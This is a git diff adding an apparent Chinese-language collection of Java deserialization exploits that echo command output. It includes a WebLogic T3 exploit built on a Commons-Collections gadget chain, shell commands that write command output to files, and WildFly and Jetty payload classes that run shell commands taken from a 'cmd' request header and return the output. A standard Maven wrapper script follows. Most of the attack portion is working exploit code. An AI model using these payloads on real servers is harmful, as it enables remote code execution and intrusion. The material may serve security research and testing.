1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 20, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 1, 0, 6, 114, 101, 98, 105, 110, 100, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 3, 97, 100, 100, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 90, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 41, 86, 1, 0, 19, 114, 101, 100, 105, 114, 101, 99, 116, 69, 114, 114, 111, 114, 83, 116, 114, 101, 97, 109, 1, 0, 29, 40, 90, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 1, 0, 10, 103, 101, 116, 77, 101, 115, 115, 97, 103, 101, 0, 33, 0, 2, 0, 32, 0, 1, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 14, 0, 38, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 39, 0, 40, 0, 0, 0, 9, 0, 41, 0, 42, 0, 1, 0, 36, 0, 0, 0, -81, 0, 3, 0, 3, 0, 0, 0, 42, -69, 0, 2, 89, -73, 0, 3, 76, -69, 0, 4, 89, -73, 0, 5, 77, 44, 18, 6, 43, -71, 0, 7, 3, 0, 43, 42, 3, 50, -74, 0, 8, 87, -89, 0, 8, 77, 44, -74, 0, 10, -79, 0, 1, 0, 8, 0, 33, 0, 36, 0, 9, 0, 3, 0, 37, 0, 0, 0, 34, 0, 8, 0, 0, 0, 17, 0, 8, 0, 19, 0, 16, 0, 20, 0, 25, 0, 21, 0, 33, 0, 24, 0, 36, 0, 22, 0, 37, 0, 23, 0, 41, 0, 25, 0, 38, 0, 0, 0, 42, 0, 4, 0, 16, 0, 17, 0, 43, 0, 44, 0, 2, 0, 37, 0, 4, 0, 45, 0, 46, 0, 2, 0, 0, 0, 42, 0, 47, 0, 48, 0, 0, 0, 8, 0, 34, 0, 49, 0, 40, 0, 1, 0, 50, 0, 0, 0, 19, 0, 2, -1, 0, 36, 0, 2, 7, 0, 51, 7, 0, 52, 0, 1, 7, 0, 53, 4, 0, 1, 0, 54, 0, 55, 0, 2, 0, 36, 0, 0, 0, 63, 0, 0, 0, 3, 0, 0, 0, 1, -79, 0, 0, 0, 2, 0, 37, 0, 0, 0, 6, 0, 1, 0, 0, 0, 31, 0, 38, 0, 0, 0, 32, 0, 3, 0, 0, 0, 1, 0, 39, 0, 40, 0, 0, 0, 0, 0, 1, 0, 56, 0, 57, 0, 1, 0, 0, 0, 1, 0, 47, 0, 57, 0, 2, 0, 58, 0, 0, 0, 4, 0, 1, 0, 59, 0, 1, 0, 60, 0, 61, 0, 2, 0, 36, 0, 0, 1, 126, 0, 5, 0, 8, 0, 0, 0, 124, -69, 0, 11, 89, -73, 0, 12, 77, 44, 18, 13, -71, 0, 14, 2, 0, 87, 44, 18, 15, -71, 0, 14, 2, 0, 87, 44, 43, -71, 0, 14, 2, 0, 87, -69, 0, 16, 89, 44, -73, 0, 17, 78, 45, 4, -74, 0, 18, 87, 45, -74, 0, 19, 58, 4, -69, 0, 20, 89, -69, 0, 21, 89, 25, 4, -74, 0, 22, -73, 0, 23, -73, 0, 24, 58, 5, -69, 0, 25, 89, -73, 0, 26, 58, 6, 25, 5, -74, 0, 27, 89, 58, 7, -58, 0, 19, 25, 6, 25, 7, -74, 0, 28, 18, 29, -74, 0, 28, 87, -89, -1, -24, 25, 6, -74, 0, 30, -80, 77, 44, -74, 0, 31, -80, 0, 1, 0, 0, 0, 117, 0, 118, 0, 9, 0, 4, 0, 37, 0, 0, 0, 58, 0, 14, 0, 0, 0, 38, 0, 8, 0, 40, 0, 17, 0, 41, 0, 26, 0, 42, 0, 34, 0, 44, 0, 43, 0, 45, 0, 49, 0, 46, 0, 55, 0, 48, 0, 76, 0, 49, 0, 85, 0, 52, 0, 96, 0, 53, 0, 112, 0, 56, 0, 118, 0, 57, 0, 119, 0, 58, 0, 38, 0, 0, 0, 92, 0, 9, 0, 8, 0, 110, 0, 62, 0, 63, 0, 2, 0, 43, 0, 75, 0, 64, 0, 65, 0, 3, 0, 55, 0, 63, 0, 66, 0, 67, 0, 4, 0, 76, 0, 42, 0, 68, 0, 69, 0, 5, 0, 85, 0, 33, 0, 70, 0, 71, 0, 6, 0, 93, 0, 25, 0, 72, 0, 57, 0, 7, 0, 119, 0, 5, 0, 45, 0, 46, 0, 2, 0, 0, 0, 124, 0, 39, 0, 40, 0, 0, 0, 0, 0, 124, 0, 56, 0, 57, 0, 1, 0, 73, 0, 0, 0, 12, 0, 1, 0, 8, 0, 110, 0, 62, 0, 74, 0, 2, 0, 50, 0, 0, 0, 52, 0, 3, -1, 0, 85, 0, 7, 7, 0, 52, 7, 0, 75, 7, 0, 76, 7, 0, 77, 7, 0, 78, 7, 0, 79, 7, 0, 80, 0, 0, -4, 0, 26, 7, 0, 75, -1, 0, 5, 0, 2, 7, 0, 52, 7, 0, 75, 0, 1, 7, 0, 53, 0, 58, 0, 0, 0, 4, 0, 1, 0, 59, 0, 1, 0, 81, 0, 0, 0, 2, 0, 82,
+ };
+
+ public static void main(String[] args) {
+ try {
+ String url = "t3://" + host + ":" + port;
+ // 安装RMI实例
+ invokeRMI(classname, bs);
+
+ Environment environment = new Environment();
+ environment.setProviderUrl(url);
+ environment.setEnableServerAffinity(false);
+ environment.setSSLClientTrustManager(new WeblogicTrustManager());
+ Context context = environment.getInitialContext();
+ ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Y4er");
+
+ // 调用RMI实例执行命令
+ String res = remote.getServerLocation("ifconfig");
+ System.out.println(res);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ }
+
+ private static void invokeRMI(String className, byte[] clsData) throws Exception {
+ // common-collection1 构造transformers 定义自己的RMI接口
+ Transformer[] transformers = new Transformer[]{
+ new ConstantTransformer(DefiningClassLoader.class),
+ new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
+ new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
+ new InvokerTransformer("defineClass",
+ new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
+ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
+ new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
+ new ConstantTransformer(new HashSet())};
+
+ final Transformer transformerChain = new ChainedTransformer(transformers);
+ final Map innerMap = new HashMap();
+
+ final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
+
+ InvocationHandler handler = (InvocationHandler) Reflections
+ .getFirstCtor(
+ "sun.reflect.annotation.AnnotationInvocationHandler")
+ .newInstance(Override.class, lazyMap);
+
+ final Map mapProxy = Map.class
+ .cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
+ new Class[]{Map.class}, handler));
+
+ handler = (InvocationHandler) Reflections.getFirstCtor(
+ "sun.reflect.annotation.AnnotationInvocationHandler")
+ .newInstance(Override.class, mapProxy);
+
+ // 序列化数据 MarshalledObject绕过
+ Object obj = new MarshalledObject(handler);
+ ByteArrayOutputStream out = new ByteArrayOutputStream();
+ ObjectOutputStream objOut = new ObjectOutputStream(out);
+ objOut.writeObject(obj);
+ objOut.flush();
+ objOut.close();
+ byte[] payload = out.toByteArray();
+ // t3发送
+ T3ProtocolOperation.send(host, port, payload);
+ }
+}
+```
+#### weblogic
+
+https://xz.aliyun.com/t/5299
+
+https://github.com/lufeirider/CVE-2019-2725
+
+
+### 通过写文件
+linux
+```bash
+// 进入test.html的根目录并执行id命令写入1.txt
+cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `id` > 1.txt
+```
+win
+```bash
+$file = Get-ChildItem -Path . -Filter test.html -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.txt");echo 222 |Out-File $f
+```
+
+### Apereo CAS 回显
+
+https://www.00theway.org/2020/01/04/apereo-cas-rce/
+
+https://www.freebuf.com/vuls/226149.html
+
+
+org.springframework.webflow.context.ExternalContextHolder.getExternalContext()方法可以获取到上下文关联信息,然后通过getNativeRequest()方法获取request对象通过getNativeResponse()方法获取response对象。同时提及到org.springframework.cglib.core.ReflectUtils.defineClass().newInstance();加载payload。猜测大佬的想法是通过defineClass从byte[]还原出一个Class对象,该恶意对象主要是执行命令,获取response对象,将执行命令后的结果通过response对象的输出流输出。
+
+参考代码实现:https://github.com/potats0/CasExp/blob/master/src/main/java/payloads/exploitType/exploitDump.java
+
+
+
+>参考:
+>
+>[Java 反序列化回显的多种姿势](https://www.joyk.com/dig/detail/1624894461629758)
+>
+>[Java Web代码执行漏洞回显总结](https://l3yx.github.io/2020/03/31/Java-Web%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%9B%9E%E6%98%BE%E6%80%BB%E7%BB%93/)
+>
+>[通杀漏洞利用回显方法-linux平台](https://www.00theway.org/2020/01/17/java-god-s-eye/)
+>
+>[linux下java反序列化通杀回显方法的低配版实现](https://xz.aliyun.com/t/7307)
+>
+>[Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)
+>
+>[Java反射-修改字段值, 反射修改static final修饰的字段](https://www.cnblogs.com/noKing/p/9038234.html)
+>
+>[基于全局储存的新思路 | Tomcat的一种通用回显方法研究](https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484799&idx=1&sn=42e7807d6ea0d8917b45e8aa2e4dba44)
+>
+>[tomcat不出网回显连续剧第六集](https://xz.aliyun.com/t/7535)
+>
+>[前尘——返回执行结果的回显链](https://www.anquanke.com/post/id/253661)
+>
+>[Weblogic使用ClassLoader和RMI来回显命令执行结果](https://xz.aliyun.com/t/7228)
+>[JAVA反序列化回显学习](https://cangqingzhe.github.io/2020/12/17/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/)
diff --git "a/java\345\233\236\346\230\276/WildFly/Echo_ServletRequestContext.java" "b/java\345\233\236\346\230\276/WildFly/Echo_ServletRequestContext.java"
new file mode 100644
index 0000000..4dc7b8e
--- /dev/null
+++ "b/java\345\233\236\346\230\276/WildFly/Echo_ServletRequestContext.java"
@@ -0,0 +1,68 @@
+package com.firebasky.exp;
+
+/**
+ * TargetObject = {java.lang.Thread}
+ * ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
+ * ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
+ * ---> [59] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
+ * ---> value = {io.undertow.servlet.handlers.ServletRequestContext}
+ */
+
+import java.lang.reflect.Method;
+
+/**
+ * WildFly 回显
+ */
+public class Echo_ServletRequestContext {
+ static {
+ try {
+ getResponse();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ public static void getResponse() throws Exception {
+ Thread thread = Thread.currentThread();
+ java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
+ threadLocals.setAccessible(true);
+ Object threadLocalMap = threadLocals.get(thread);
+
+ Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
+ java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
+ tableField.setAccessible(true);
+ Object[] objects = (Object[]) tableField.get(threadLocalMap);
+
+ Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
+ java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
+ entryValueField.setAccessible(true);
+
+ for (Object object : objects) {
+ if (object != null) {
+ Object valueObject = entryValueField.get(object);
+ if (valueObject != null) {
+ if (valueObject.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) {
+ //response
+ Method getServletResponse = valueObject.getClass().getDeclaredMethod("getServletResponse");
+ getServletResponse.setAccessible(true);
+ Object response = getServletResponse.invoke(valueObject);
+ //request
+ Method getServletRequest = valueObject.getClass().getDeclaredMethod("getServletRequest");
+ getServletRequest.setAccessible(true);
+ Object request = getServletRequest.invoke(valueObject);
+ //echo
+ java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
+ Method getHeader = request.getClass().getMethod("getHeader",String.class);
+ String cmd1 = (String) getHeader.invoke(request, "cmd");
+ String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
+ java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ writer.write("by Firebasky:");
+ writer.write("\n"+output);
+ writer.close();
+ }
+ }
+ }
+ }
+ }
+}
diff --git "a/java\345\233\236\346\230\276/java\345\233\236\346\230\276.iml" "b/java\345\233\236\346\230\276/java\345\233\236\346\230\276.iml"
new file mode 100644
index 0000000..82fb2f5
--- /dev/null
+++ "b/java\345\233\236\346\230\276/java\345\233\236\346\230\276.iml"
@@ -0,0 +1,89 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/java\345\233\236\346\230\276/jetty/Echo_HttpConnection.java" "b/java\345\233\236\346\230\276/jetty/Echo_HttpConnection.java"
new file mode 100644
index 0000000..5b3f557
--- /dev/null
+++ "b/java\345\233\236\346\230\276/jetty/Echo_HttpConnection.java"
@@ -0,0 +1,75 @@
+package com.firebasky.exp;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+import java.lang.reflect.Method;
+
+/**
+ * jetty回显
+ */
+public class Echo_HttpConnection extends AbstractTranslet {
+ static {
+ try {
+ getResponse();
+ Runtime.getRuntime().exec("calc");
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ public static void getResponse() throws Exception {
+ Thread thread = Thread.currentThread();
+ java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
+ threadLocals.setAccessible(true);
+ Object threadLocalMap = threadLocals.get(thread);
+
+ Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
+ java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
+ tableField.setAccessible(true);
+ Object[] objects = (Object[]) tableField.get(threadLocalMap);
+
+ Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
+ java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
+ entryValueField.setAccessible(true);
+
+ for (Object object : objects) {
+ if (object != null) {
+ Object valueObject = entryValueField.get(object);
+ if (valueObject != null) {
+ if (valueObject.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
+ Method getHttpChannel = valueObject.getClass().getDeclaredMethod("getHttpChannel");
+ getHttpChannel.setAccessible(true);
+ Object httpChannel = getHttpChannel.invoke(valueObject);
+ Class> HttpChannel = httpChannel.getClass();
+
+ Object request = HttpChannel.getMethod("getRequest").invoke(httpChannel);
+ Object response = HttpChannel.getMethod("getResponse").invoke(httpChannel);
+ java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
+ Method getHeader = request.getClass().getMethod("getHeader",String.class);
+ String cmd1 = (String) getHeader.invoke(request, "cmd");
+ String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
+ java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
+ java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
+ String output = s.hasNext() ? s.next() : "";
+ writer.write("by Firebasky:");
+ writer.write("\n"+output);
+ writer.close();
+ }
+ }
+ }
+ }
+ }
+
+ @Override
+ public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+ }
+
+ @Override
+ public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+ }
+}
diff --git "a/java\345\233\236\346\230\276/mvnw" "b/java\345\233\236\346\230\276/mvnw"
new file mode 100644
index 0000000..a16b543
--- /dev/null
+++ "b/java\345\233\236\346\230\276/mvnw"
@@ -0,0 +1,310 @@
+#!/bin/sh
+# ----------------------------------------------------------------------------
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+# ----------------------------------------------------------------------------
+
+# ----------------------------------------------------------------------------
+# Maven Start Up Batch script
+#
+# Required ENV vars:
+# ------------------
+# JAVA_HOME - location of a JDK home dir
+#
+# Optional ENV vars
+# -----------------
+# M2_HOME - location of maven2's installed home dir
+# MAVEN_OPTS - parameters passed to the Java VM when running Maven
+# e.g. to debug Maven itself, use
+# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+# ----------------------------------------------------------------------------
+
+if [ -z "$MAVEN_SKIP_RC" ] ; then
+
+ if [ -f /etc/mavenrc ] ; then
+ . /etc/mavenrc
+ fi
+
+ if [ -f "$HOME/.mavenrc" ] ; then
+ . "$HOME/.mavenrc"
+ fi
+
+fi
+
+# OS specific support. $var _must_ be set to either true or false.
+cygwin=false;
+darwin=false;
+mingw=false
+case "`uname`" in
+ CYGWIN*) cygwin=true ;;
+ MINGW*) mingw=true;;
+ Darwin*) darwin=true
+ # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
+ # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
+ if [ -z "$JAVA_HOME" ]; then
+ if [ -x "/usr/libexec/java_home" ]; then
+ export JAVA_HOME="`/usr/libexec/java_home`"
+ else
+ export JAVA_HOME="/Library/Java/Home"
+ fi
+ fi
+ ;;
+esac
+
+if [ -z "$JAVA_HOME" ] ; then
+ if [ -r /etc/gentoo-release ] ; then
+ JAVA_HOME=`java-config --jre-home`
+ fi
+fi
+
+if [ -z "$M2_HOME" ] ; then
+ ## resolve links - $0 may be a link to maven's home
+ PRG="$0"
+
+ # need this for relative symlinks
+ while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG="`dirname "$PRG"`/$link"
+ fi
+ done
+
+ saveddir=`pwd`
+
+ M2_HOME=`dirname "$PRG"`/..
+
+ # make it fully qualified
+ M2_HOME=`cd "$M2_HOME" && pwd`
+
+ cd "$saveddir"
+ # echo Using m2 at $M2_HOME
+fi
+
+# For Cygwin, ensure paths are in UNIX format before anything is touched
+if $cygwin ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --unix "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
+fi
+
+# For Mingw, ensure paths are in UNIX format before anything is touched
+if $mingw ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME="`(cd "$M2_HOME"; pwd)`"
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
+fi
+
+if [ -z "$JAVA_HOME" ]; then
+ javaExecutable="`which javac`"
+ if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
+ # readlink(1) is not available as standard on Solaris 10.
+ readLink=`which readlink`
+ if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
+ if $darwin ; then
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
+ else
+ javaExecutable="`readlink -f \"$javaExecutable\"`"
+ fi
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaHome=`expr "$javaHome" : '\(.*\)/bin'`
+ JAVA_HOME="$javaHome"
+ export JAVA_HOME
+ fi
+ fi
+fi
+
+if [ -z "$JAVACMD" ] ; then
+ if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ else
+ JAVACMD="`which java`"
+ fi
+fi
+
+if [ ! -x "$JAVACMD" ] ; then
+ echo "Error: JAVA_HOME is not defined correctly." >&2
+ echo " We cannot execute $JAVACMD" >&2
+ exit 1
+fi
+
+if [ -z "$JAVA_HOME" ] ; then
+ echo "Warning: JAVA_HOME environment variable is not set."
+fi
+
+CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
+
+# traverses directory structure from process work directory to filesystem root
+# first directory with .mvn subdirectory is considered project base directory
+find_maven_basedir() {
+
+ if [ -z "$1" ]
+ then
+ echo "Path not specified to find_maven_basedir"
+ return 1
+ fi
+
+ basedir="$1"
+ wdir="$1"
+ while [ "$wdir" != '/' ] ; do
+ if [ -d "$wdir"/.mvn ] ; then
+ basedir=$wdir
+ break
+ fi
+ # workaround for JBEAP-8937 (on Solaris 10/Sparc)
+ if [ -d "${wdir}" ]; then
+ wdir=`cd "$wdir/.."; pwd`
+ fi
+ # end of workaround
+ done
+ echo "${basedir}"
+}
+
+# concatenates all lines of a file
+concat_lines() {
+ if [ -f "$1" ]; then
+ echo "$(tr -s '\n' ' ' < "$1")"
+ fi
+}
+
+BASE_DIR=`find_maven_basedir "$(pwd)"`
+if [ -z "$BASE_DIR" ]; then
+ exit 1;
+fi
+
+##########################################################################################
+# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
+# This allows using the maven wrapper in projects that prohibit checking in binary data.
+##########################################################################################
+if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found .mvn/wrapper/maven-wrapper.jar"
+ fi
+else
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
+ fi
+ if [ -n "$MVNW_REPOURL" ]; then
+ jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+ else
+ jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar"
+ fi
+ while IFS="=" read key value; do
+ case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
+ esac
+ done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Downloading from: $jarUrl"
+ fi
+ wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
+ if $cygwin; then
+ wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
+ fi
+
+ if command -v wget > /dev/null; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found wget ... using wget"
+ fi
+ if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
+ wget "$jarUrl" -O "$wrapperJarPath"
+ else
+ wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
+ fi
+ elif command -v curl > /dev/null; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Found curl ... using curl"
+ fi
+ if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
+ curl -o "$wrapperJarPath" "$jarUrl" -f
+ else
+ curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
+ fi
+
+ else
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo "Falling back to using Java to download"
+ fi
+ javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
+ # For Cygwin, switch paths to Windows format before running javac
+ if $cygwin; then
+ javaClass=`cygpath --path --windows "$javaClass"`
+ fi
+ if [ -e "$javaClass" ]; then
+ if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo " - Compiling MavenWrapperDownloader.java ..."
+ fi
+ # Compiling the Java class
+ ("$JAVA_HOME/bin/javac" "$javaClass")
+ fi
+ if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
+ # Running the downloader
+ if [ "$MVNW_VERBOSE" = true ]; then
+ echo " - Running MavenWrapperDownloader.java ..."
+ fi
+ ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
+ fi
+ fi
+ fi
+fi
+##########################################################################################
+# End of extension
+##########################################################################################
+
+export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
+if [ "$MVNW_VERBOSE" = true ]; then
+ echo $MAVEN_PROJECTBASEDIR
+fi
+MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --path --windows "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
+ [ -n "$MAVEN_PROJECTBASEDIR" ] &&
+ MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
+fi
+
+# Provide a "standardized" way to retrieve the CLI args that will
+# work with both Windows and non-Windows executions.
+MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
+export MAVEN_CMD_LINE_ARGS
+
+WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+exec "$JAVACMD" \
+ $MAVEN_OPTS \
+ -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
+ "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
+ ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
diff --git "a/java\345\233\236\346\230\276/mvnw.cmd" "b/java\345\233\236\346\230\276/mvnw.cmd"
